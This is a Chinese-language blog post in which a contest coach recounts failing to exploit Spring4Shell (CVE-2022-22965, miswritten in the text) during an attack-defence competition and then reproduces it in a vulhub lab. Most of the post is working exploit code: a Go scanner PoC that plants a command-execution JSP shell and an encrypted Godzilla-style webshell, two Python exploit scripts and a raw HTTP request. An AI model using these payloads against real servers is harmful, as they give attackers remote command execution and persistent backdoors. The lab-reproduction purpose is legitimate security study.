background

去了某场比赛当了某单位的指导老师,全程都是事故,结果也没有达到预期,弱爆了。本来计划中的发展是第一天开始,第二天15:00结束,第一天我按时赶到,然后中午撤。有位大哥来给我顶着。大哥早上都上了高铁,然后单位有事就给他叫回去了。那我肯定就是回不去了。第一天开打我们扫描器一点资产都扫不到,第二天才发下是网络开放的问题,然后给我们加时……就给了个B段的内网地址,自己搜集资产。全是水洞,没啥技术含量我就不记录了,有个我们没做出来的springboot很有意思,我之前也没打过springboot。恶心就恶心在你知道靶机是springboot,但你不知道哪个是靶机,不知道自己看到的是靶机还是业务系统。

CVE-20222-2965

确定靶机是这个洞,我们当时也找了个springboot,扫描器也告警了,就是这样的

2023-11-17T08:44:13.png

然后当时全部是内网,我得把poc打包到txt里然后给运维,运维上堡垒机把东西传给我们。我在网上找了几个poc,还找了个利用工具,反正都没打通。我在burp里手动发包,都没效果,shell写不进去,就很奇怪。

2023-11-17T08:48:41.png

我在github上看了扫描器源码里的poc(https://Github.com/SummerSec),跟我复制到txt里的一样。

package _022

import (
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
"github.com/fatih/structs"
"github.com/imroc/req/v3"
log "github.com/sirupsen/logrus"
"net/url"
"time"
)

type CVE202222965 struct{}

const (
body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
//body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
// 添加 shell 文件名
body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
//behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di"

// 哥斯拉 pass key
beichen = "%25%7Bprefix%7Di!%20String%20xc%3D%223c6e0b8a9c15224a%22%3B%20class%20X%20extends%20ClassLoader%7Bpublic%20X(ClassLoader%20z)%7Bsuper(z)%3B%7Dpublic%20Class%20Q(byte%5B%5D%20cb)%7Breturn%20super.defineClass(cb%2C%200%2C%20cb.length)%3B%7D%20%7Dpublic%20byte%5B%5D%20x(byte%5B%5D%20s%2Cboolean%20m)%7B%20try%7Bjavax.crypto.Cipher%20c%3Djavax.crypto.Cipher.getInstance(%22AES%22)%3Bc.init(m%3F1%3A2%2Cnew%20javax.crypto.spec.SecretKeySpec(xc.getBytes()%2C%22AES%22))%3Breturn%20c.doFinal(s)%3B%20%7Dcatch%20(Exception%20e)%7Breturn%20null%3B%20%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Ditry%7Bbyte%5B%5D%20data%3Dnew%20byte%5BInteger.parseInt(request.getHeader(%22Content-Length%22))%5D%3Bjava.io.InputStream%20inputStream%3D%20request.getInputStream()%3Bint%20_num%3D0%3Bwhile%20((_num%2B%3DinputStream.read(data%2C_num%2Cdata.length))%3Cdata.length)%3Bdata%3Dx(data%2C%20false)%3Bif%20(session.getAttribute(%22payload%22)%3D%3Dnull)%7Bsession.setAttribute(%22payload%22%2Cnew%20X(this.getClass().getClassLoader()).Q(data))%3B%7Delse%7Brequest.setAttribute(%22parameters%22%2C%20data)%3BObject%20f%3D((Class)session.getAttribute(%22payload%22)).newInstance()%3Bjava.io.ByteArrayOutputStream%20arrOut%3Dnew%20java.io.ByteArrayOutputStream()%3Bf.equals(arrOut)%3Bf.equals(pageContext)%3Bf.toString()%3Bresponse.getOutputStream().write(x(arrOut.toByteArray()%2C%20true))%3B%7D%20%7Dcatch%20(Exception%20e)%7B%7D%25%7Bsuffix%7Di"
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
)

func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
shellname := utils.GetCode(6)
time.Sleep(time.Second * 1)
shellname1 := utils.GetCode(8)
log.Debugf("shellname: %s", shellname)
log.Debugf("shellname1: %s", shellname1)
payload1 := body + context + body1 + shellname + body2
rebeyond := body + beichen + body1 + shellname1 + body2
//TODO implement me
log.Debugf("[+] Running CVE202222965 poc")
reqinfo := req2.NewReqInfo()
reqmap := structs.Map(reqinfo)
get_headers := map[string]string{
"suffix": "%>",
"c": "Runtime",
"prefix": "<%",
"User-Agent": utils.GetUA(),
}
post_get_headers := map[string]string{
"User-Agent": utils.GetUA(),
"Content-Type": "application/x-www-form-urlencoded",
}

reqmap["url"] = target

// 默认配置
reqmap["timeout"] = hashmap["Timeout"].(int)
reqmap["retry"] = hashmap["Retry"].(int)
reqmap["proxy"] = hashmap["Proxy"].(string)
reqmap["mode"] = hashmap["Mode"].(int)
reqmap["h1"] = hashmap["H1"].(bool)
reqmap["redirect"] = hashmap["Redirect"].(bool)
f := 0
for f < 2 {
time.Sleep(time.Second * 1)
// 设置 payload
reqmap["method"] = "POST"
reqmap["body"] = file_date_data
reqmap["headers"] = post_get_headers
utils.Send(reqmap)

if f == 0 {
// 第二个请求
//reqmap["body"] = payload1
reqmap["body"] = rebeyond
reqmap["headers"] = post_get_headers

} else {
reqmap["body"] = payload1
reqmap["headers"] = post_get_headers
}
utils.Send(reqmap)
// Changes take some time to populate on tomcat
time.Sleep(time.Second * 3)
if f == 1 {

r, _ := url.Parse(target)
log.Info("[+] CVE202222965 poc success")
cmdshell := r.Scheme + "://" + r.Host + "/" + shellname + ".jsp"
beichenshell := r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp"
reqmap["url"] = cmdshell
reqmap["method"] = "GET"
reqmap["body"] = ""
reqmap["headers"] = post_get_headers
resp1 := utils.Send(reqmap)
reqmap["url"] = beichenshell
resp2 := utils.Send(reqmap)
if resp1 != nil && resp2 != nil {
if p.CheckExp(resp1, cmdshell, hashmap) && p.CheckExp(resp2, beichenshell, hashmap) {
log.Info("[+] CVE202222965 poc success")
res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
log.Info(res)
p.SaveResult(res, hashmap["Out"].(string))
}

}

}

// 第三个请求
reqmap["method"] = "GET"
reqmap["body"] = ""
reqmap["headers"] = get_headers
utils.Send(reqmap)

time.Sleep(time.Second * 1)
reqmap["body"] = pattern_data
reqmap["method"] = "POST"
reqmap["headers"] = post_get_headers
utils.Send(reqmap)
f++
}
}

func (p CVE202222965) SaveResult(target string, file string) {
err := utils.SaveToFile(target, file)
if err != nil {
log.Debugf("[-] Save result failed")
log.Debugf(err.Error())
return
}
}

func (p CVE202222965) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
if resp.IsSuccess() {
return true
}
return false
}

当时txt里存的poc

import requests

headers={
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%"
}

payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'

try:
U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
U2=requests.get(url=ip+payload2,verify=False,timeout=3)
if U2.status_code == 200:
print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
print(e)




GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%


#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"

}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:

go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass




def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file', help='url file', required=False)
parser.add_argument('--url', help='target url', required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)

if __name__ == '__main__':
main()

反正都打不通,最后抓了扫描器的包,发现扫描器对这个cve的包返回结果都是404,然后我就下定义,这个是误报。因为我手动也没打通,抓的数据包都是一堆返回404的。

结束后发现靶机的springboot就是用CVE-20222-2965打的,我懵了,然后准备回来看看到底是什么情况。别人用的是曾哥的guiscan打的,老实说我没用过这个工具,不会用,当然摸索一下百度一下会用是没问题的,关键就是我手动抓包了。最主要的是不确定他是不是靶机,我以为是正常业务系统呢。

漏洞复现

起环境

docker pull vulhub/spring-webmvc:5.3.17
docker run -d -p 8081:8080 dceea93a0868

springexploit扫了一下发现报了cve。抓包看下poc发现结果都是404,这就很奇怪。然后
2023-11-17T09:10:46.png
nice 百度主站rce~
确定了,这工具不靠谱。

用曾哥的工具
2023-11-17T09:14:39.png

啊?没货?我vulhub拉的环境啊!!!
还有poc,打打看
2023-11-17T09:15:53.png
666,之前换poc可以打,写文章的时候都不行了
2023-11-17T09:31:30.png

这洞貌似有点玄学,不管了,后面研究springboot的时候再看。